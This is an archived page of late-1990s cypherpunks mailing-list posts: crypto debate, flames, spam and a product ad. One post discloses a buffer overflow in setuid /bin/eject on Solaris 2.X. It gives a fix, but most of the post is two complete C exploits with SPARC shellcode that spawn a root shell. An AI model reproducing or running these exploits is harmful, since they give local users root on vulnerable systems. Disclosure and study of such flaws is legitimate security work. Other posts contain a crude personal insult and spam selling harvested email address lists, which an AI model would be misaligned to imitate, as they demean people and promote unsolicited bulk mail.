December 2003 - cypherpunks-legacy

OECD draft crypto guidelines
by Declan McCullagh 17 Dec '03

17 Dec '03

I've been given a copy of the draft OECD crypto guidelines that will be released later this month. They don't say what the Justice Department would like them to, I imagine. You can find more info at http://netlynews.com/ -Declan

1 0

Exploit for buffer overflow in /bin/eject - Solaris 2.X
by Cristian SCHIPOR 17 Dec '03

17 Dec '03

motto: "Mihai Eminescu was a good friend of Ion Creanga" Thu Mar 13 21:01:00 EET 1997 - Romania "Hole in /bin/eject - buffer overflow" I exploited the buffer overflow hole in /bin/eject on Solaris 2.X (who have suid exec bit and is owned by root). The buffer overflow problem appears in an internal function media_find(). The result is: any user can gain root shell. So, to prevent /bin/eject exploit, you have to get out suid-exec bit from /bin/eject (that's very simple) and compile a little program like: main() {execl("/bin/eject","eject","floppy",(char *)0);} That allows your work station ordinary users to eject floppy (thats the main task for eject). I wrote two exploits (Solaris 2.4 & 2.5.1). My exploit for Solaris 2.4 looks a bit ugly - the buffer is two short - but it works. For both exploits argv[1] can change the STACK_OFFSET value (for troubleshotings +- 8 .. +-64 .. the step is 8). The interesting thing about this exploit it worked on some machines where it was installed some stuff to make inofensiv buffer overflows exploits ... Ok you have right down two exploits. For future I'm planing a web page with security stuff for Solaris so try http://www.math.pub.ro/security. Cristian Schipor - Computer Science Faculty - Bucharest - Romania E-mail: skipo(a)sundy.cs.pub.ro, skipo(a)math.pub.ro, skipo(a)ns.ima.ro Phone: 401-410.60.88 ------------------------ banana24.c ----------------------------- /* For Solaris 2.4 */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define BUF_LENGTH 264 #define EXTRA 36 #define STACK_OFFSET 8 #define SPARC_NOP 0xc013a61c u_char sparc_shellcode[] = "\xc0\x13\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68" "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14" "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01" "\x91\xd0"/*\x20\x08"*/ ; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA + 8]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode),dso=0; if(argc > 1) dso=atoi(argv[1]); long_p =(u_long *) buf ; targ_addr = get_sp() - STACK_OFFSET - dso; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ =targ_addr; printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n", targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET); execl("/bin/eject", "eject", & buf,(char *) 0); perror("execl failed"); } ------------------------- end of banana24.c ------------------------ ------------------------- banana25.c ------------------------------- /* Wrote for Solaris 2.5.1 */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define BUF_LENGTH 364 #define EXTRA 400 #define STACK_OFFSET 400 #define SPARC_NOP 0xa61cc013 u_char sparc_shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68" "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14" "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01" "\x91\xd0\x20\x08" ; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA + 8]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode),dso=0; if(argc > 1) dso=atoi(argv[1]); long_p =(u_long *) buf ; targ_addr = get_sp() - STACK_OFFSET - dso; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ =targ_addr; printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n", targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET); execl("/bin/eject", "eject", & buf[1],(char *) 0); perror("execl failed"); } ---------------------------- end of banana25.c ------------------------

1 0

No Subject
by Bovine Remailer 17 Dec '03

17 Dec '03

Timmy C. May was born when his mother was on the toilet. < > < > V )_.._( V \\ <____> // ~ <______> ~ > /~\______/~\ // /~\_____/~\ /_\ /~\____/~\ /_\ /~\___/\~\ _/_\/ \___/\__/__\/ \___/__\/

1 0

Silvernail Concedes / Hides In Shame
by TruthMonger 17 Dec '03

17 Dec '03

roy(a)sendai.scytale.com wroted: > an7575(a)anon.nymserver.com correctly states: > > I always wonder why there seem to be so many lame fucks on > > the cypherpunks list who, rather than responding to the posts > > on the list, seem to be responding to some broken recording > > going on in their own head. > > Something like you not responding to my challenge to produce an exploit, > no doubt. > My point stands. Your point is garbage and will remain garbage. The only 'explotation' involved in this thread is the introduction of issues which were not raised by my post. Rather than respond to the concerns I raised, Alan Olsen chose to spew forth some unrelated diatribe about old memories of people claiming to have 'broken' PGP. The cypherpunks list never seems to lack for members who seem to lack the capacity for independent thought and who then respond to invalid tangents to the issues raised, rather than give an intelligent response to the real issues raised. I noticed, long ago, that if Dr. Vulis posted several pages of intelligent, crypto-related material, then signed off with his "JG is a cocksucker" tag, that I could expect to see perhaps a single post dealing with the crypto issues he raised, and dozens of posts saying "is not" and/or "is too." Am I to presume that Alan and Roy used the Clipper chip as anal suppositories, for safe, secure, protection, right up to the moment that its weaknesses were found? I am certain that they are confident that the plastic Zimmerman they have on their computer dashboards will protect them from harm, but I put more faith in the words of Zimmerman himself, than in those who worship his graven software blindly. When Alan and Roy, among others, have blathered on about 'exploits' long enough to get it out of their system, then perhaps they might consider looking up the word 'compromised' and respond to the issues I raised in my post. Thus far, there has been nobody either competent or willing enough to address them. > Oh, by the way... if you actually do this, I hope other people talk > about it because the *PLONK* you just heard was you hitting my killfile. Ah, yes, the old '*PLONK* and *RUN*' gambit. Is that a 'tail' I see between Roy's legs? TruthMonger

1 0

more info
by C M 17 Dec '03

17 Dec '03

more info --------------------------------------------------------- Get Your *Web-Based* Free Email at http://www.hotmail.com ---------------------------------------------------------

1 0

Re: "Experts slam PGP encryption"
by Moi 17 Dec '03

17 Dec '03

e$pam wrote: > Forwarded by Robert Hettinga ----------------------------------------------------------------------- > Date: Wed, 12 Mar 1997 08:19:59 -0500 > From: estone(a)synernet-d-o-t-.com (Ed Stone) (by way of root(a)127.0.0.1 > (Robert A. Hettinga)) > To: rah(a)shipwright.com > Subject: Re: "Experts slam PGP encryption" > Organization: Synernet > Mime-Version: 1.0 > Path: > thing1.leftbank.com!thing2.leftbank.com!cam-news-hub1.bbnplanet.com!cpk-news-hub > 1.bbnplanet.com!news.bbnplanet.com!news.sprintlink.net!news-peer.sprintlink…! > news-pull.sprintlink.net!news.sprintlink.net!news-dc-9.sprintlink.net!ralph.vnet > .net!not-for-mail > Newsgroups: sci.crypt > Lines: 25 > NNTP-Posting-Host: estone.vnet.net > X-Newsreader: Anawave Gravity v1.10.556 > X-Newsreader: Yet Another NewsWatcher 2.3.0 > > In article <5g34c8$4l$1(a)ftel.ftel.co.uk>, I.G.Batten(a)ftel.co.uk > says... > > -----BEGIN PGP SIGNED MESSAGE----- > > > > In article <3324B1D6.2F8D(a)iconn.net>, josmo <josmo(a)iconn.net> wrote: > > > feel rsa is built more for speed. the feds can brute a 128 bit key > > > whenever they want too. the real delema is that if you make it bigger it > > > > Unless IDEA has pathways that make attacks significantly faster than > > brute force possible (and I mean _significantly_, not a few bits) then I > > serious doubt anyone can brute force a 128 bit key. You aren't making > > the mistake of believing that a 128 bit key is 64 times harder to break > > than a 64 bit key, are you? > > > > ian > > If you try *100 trillion* keys per second, and find the key half way > through the keyspace, a 128-bit key will be found in only 5.4 x 10^14 > centuries! > > -- > ------------------------------- > Ed Stone > estone@synernet d o t com > ------------------------------- > > > -------------------------------------------------- > The e$ lists are brought to you by: > > Intertrader Ltd: Just released (Feb 97) "Digital Money Online" > <http://www.intertrader.com/library/DigitalMoneyOnline> > > Where people, networks and money come together: Consult Hyperion > http://www.hyperion.co.uk info(a)hyperion.co.uk > > Like e$pam? Help pay for it! See <http://www.atanda.com/rah.html> > Or, for e$pam sponsorship, see <http://thumper.vmeng.com/pub/rah/> > > Thanks to the e$ e$lves: > Of Counsel: Vinnie Moscaritolo <mailto:vinnie@webstuff.apple.com> > (Majordomo)^2: Rachel Willmer<mailto:rachel@intertrader.com> > Commermeister: Anthony Templer <mailto:anthony@atanda.com> > Interturge: Rodney Thayer <mailto:rodney@sabletech.com> > HTMLurgist: Cynthia Zwerling <mailto:czrider@@webstuff.apple.com>

1 0

Re: "Experts slam PGP encryption"
by TruthMonger 17 Dec '03

17 Dec '03

> From: kilgallen(a)eisner.decus.org > Subject: Re: "Experts slam PGP encryption" > Organization: LJK Software > And of course, the ultimate trust fallacy - > > "I trust this code was signed by that entity." (verifiable) > "I trust that entity is honorable." (judgement call) > > THEREFORE: > > "I trust that entity is competent to avoid security bugs." > > Many > will "trust" those entities which have spent their money on television > ads rather than on avoiding security bugs. ...or trust those who holler loudest and longest about the 'unbreakable' security of this or that product (or snake oil). "I don't care if my computer freezes, "As long as I've got my plastic Jesus, "Sitting right on top of my keyboard." "Spooks and phantoms, they ain't scary, "As long as I've got the Virgin Mary, "Sitting right on top of my keyboard." "The military, they can't kill me, "As long as I've got my buddy, Phil Z. "Sitting right on top of my keyboard." "Moe and Curly, also Larry, "Keep the Feds from being scary, "Sitting right on top of my keyboard. TruthMonger

1 0

*** VSA2048 Cryptography Module ***
by DataETRsch＠aol.com 17 Dec '03

17 Dec '03

Hello, Greetings! DataET Research, Data Engineering Technologies, has recently initiated the distribution of VSACM, VSA2048 Cryptography Module. VSACM implements a relatively new, but extensively advanced and sophisticated, encryption algorithm named VSA2048. If you are not interested in incorporating the power of advanced encryption into the software that you develop, you may want to visit http://members.aol.com/dataetrsch/ if you are searching for a help file / system development, installation program development, or shareware distribution and marketing service. Otherwise, please continue on. VSACM (the VSA2048 algorithm)... o Is a royalty-free Windows DLL module featuring advanced cryptography. o Is a cost-effective size of only 50 kilobytes. o Contains more than 120 procedures and functions. o Implements the VSA2048 encryption algorithm. o Allows encryption keys as large as 2048 bits. o Is extensively key and data dependent. o Includes 18 algorithm extensions. o Processes all forms of binary and ASCII files. o Allows multiple encryption layer levels. o Has absolutely no back-doors or magical keys. o Includes time and date locking features. o Includes file specific unique encryption features. o Includes data importance and sensitivity stamping features. VSACM, being a Windows DLL module, can be accessed through programs developed with popular application and database programming languages and environments such as: C, C++, Visual Basic, Delphi, Turbo Pascal, PowerBuilder, Smalltalk, dBase, Paradox, Access, FoxPro, Oracle, Sybase, SQL, and numerous others. DataET Research has released a shareware trial edition version of VSACM named VSACM V2.0. To download VSACM V2.0 for free, please go to: http://members.aol.com/dataetrsch/vsacm.html. I hope you will consider applying VSACM in the software you develop. Thank-you very much for your time. Sincerely, Jeremy K. Yu-Ramos President DataET Research Data Engineering Technologies

4 3

Re: Failure of centralized certificates - was "Experts slam PGP
by TruthMonger 17 Dec '03

17 Dec '03

e$pam wrote: > From: kilgallen(a)eisner.decus.org (Larry Kilgallen) > Subject: Re: Failure of centralized certificates - was "Experts slam PGP > encryption" > In article <5g8i92$4rs(a)news.ox.ac.uk>, patrick(a)gryphon.psych.ox.ac.uk > (Patrick Juola) writes: > >>As a corporation with diverse ownership, it should be much more complex > >>for VeriSign to subvert their own system for a cause than it would be > >>in the case of an individual such as Phil Zimmermann or David Sternlight. > The only ones we care about are those with "keys to the kingdom". > In the case of those who are so empowered, one needs positive > incentive for them to corrupt the database. Could some political > cause provide that incentive -- yes. Damn good thing that there are no political issues surrounding crypto. TruthMonger

1 0

1001 FREE Places to Promote Your Site!
by Strut Your Stuff 17 Dec '03

17 Dec '03

"Strut Your Stuff!" For 1001 FREE Places to Link your Web Site! http://www.choicemail.com ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ March Special! Send your 25 word classified ad to 100,000 e-mail addresses for $45.00. Add .20 for each additonal word. Send credit card info along with your ad to: ads(a)choicemail.com or visit our Site at: http://www.choicemail.com ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Targeted E-mail Addresses We will build you a fresh targeted e-mail list. Tell us what list you would like to target and we will build the list for you. The list will be yours to keep. Mail to the list as many times as you wish. Your will also receive the e-mail program, Pegasus for FREE. Only $50.00 per thousand names. Send credit card info along with number of addresses you would like and type of list. E-mail to: target(a)choicemail.com ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ FREE Newsletter Subscribe to our FREE Net Newsletter. The Net Newsletter offers free on-line marketing strategies, tells you where to find Free Internet services, products or services. To subscribe: Type "subscribe" in the subject line and send an e-mail to: subscribe(a)choicemail.com ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

1 0